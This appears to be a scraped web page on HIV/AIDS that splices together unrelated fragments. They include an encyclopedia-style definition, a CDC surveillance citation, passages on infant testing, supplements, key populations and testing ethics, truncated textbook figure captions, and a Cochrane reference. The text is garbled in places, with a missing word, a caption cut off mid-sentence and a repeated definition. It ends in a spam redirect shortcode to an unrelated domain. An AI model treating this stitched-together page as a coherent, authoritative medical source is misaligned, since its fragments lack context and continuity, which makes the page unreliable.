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AIDS, byname of acquired immunodeficiency syndrome, transmissible disease of the immune system caused by the human immunodeficiency virus (HIV). HIV is a lentivirus (literally meaning “slow virus”; a member of the retrovirus family) that slowly attacks and destroys the immune system, the body’s against infection, leaving an individual vulnerable to a variety of other infections and certain malignancies that eventually cause death. AIDS is the final stage of HIV infection, during which time fatal infections and cancers frequently arise.
CDC. Diagnoses of HIV infection in the United States and dependent areas, 2015. HIV Surveillance Report, vol. 27. Atlanta, GA: US Department of Health and Human Services, CDC; 2017. https://www.cdc.gov/hiv/pdf/library/reports/surveillance/cdc-hiv-surveillance-report-2015-vol-27.pdf
Antibody tests in children younger than 18 months are typically inaccurate due to the continued presence of maternal antibodies. Thus HIV infection can only be diagnosed by PCR testing for HIV RNA or DNA, or via testing for the p24 antigen. Much of the world lacks access to reliable PCR testing and many places simply wait until either symptoms develop or the child is old enough for accurate antibody testing. In sub-Saharan Africa as of 2007–2009 between 30 and 70% of the population were aware of their HIV status. In 2009, between 3.6 and 42% of men and women in Sub-Saharan countries were tested which represented a significant increase compared to previous years.
Although widely used, alternative or complementary medications, such as herbal ones, have not been proven to be effective. According to some limited studies, mineral or vitamin supplements may provide some benefits in overall health. It is important to discuss these options with a healthcare provider because some of these options, even vitamin supplements, may interact with ARVs.
Key populations are groups who are at increased risk of HIV irrespective of epidemic type or local context. They include: men who have sex with men, people who inject drugs, people in prisons and other closed settings, sex workers and their clients, and transgender people.
The major ethical principles that must be considered when formulating policies for HIV counseling and testing include respect for autonomy, confidentiality, justice, protection of vulnerable individuals, and beneficence to both the woman tested and, if she is pregnant, to her newborn as well. Individuals offering testing need to be mindful not only of the benefits of testing but also its potential risks because, if a woman’s test result is positive, she faces the possibility of being ostracized by her family, friends, and community or being subjected to intimate partner violence. In addition, although the overt stigma of HIV infection has been reduced over the past 20 years, the potential for job discrimination, loss of health insurance, and loss of housing still exists.
Resistance of HIV to protease inhibitors. After the administration of a single protease inhibitor to a patient with HIV there is a precipitous fall in viral RNA levels in plasma with a half-life of approximately 2 days (top panel). This is accompanied (more…)
Humoral response to HIV. The humoral immune response occurs later in infection; therefore, the level of antibodies during the acute infection is very low. Non-neutralising antibodies to structural proteins (i.e. P17 and P24) are first to appear and generally do not persist. Later neutralising antibodies specific to proteins, involved in the entry of the virus into the cells, will be generated. These antibodies are specific to: (1) the variable region of gp120 (V3); (2) CD4 binding sites and chemokine receptors (i.e., CXCR4 and CCR5); (3) the transmembrane protein gp41. Potent neutralizing antibodies have been shown to play a major role in controlling HIV infection in a few symptom-free HIV+ individuals who maintain high level of CD4+ T cells and low viral load.
Human immunodeficiency virus (HIV) is the virus that is responsible for causing acquired immune deficiency syndrome (AIDS). The virus destroys or impairs cells of the immune system and progressively destroys the body’s ability to fight infections and certain cancers.
Jump up ^ Visser, Marianne E.; Durao, Solange; Sinclair, David; Irlam, James H.; Siegfried, Nandi (2017). “Micronutrient supplementation in adults with HIV infection”. The Cochrane Database of Systematic Reviews. 5: CD003650. doi:10.1002/14651858.CD003650.pub4. ISSN 1469-493X. PMC 5458097 . PMID 28518221. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]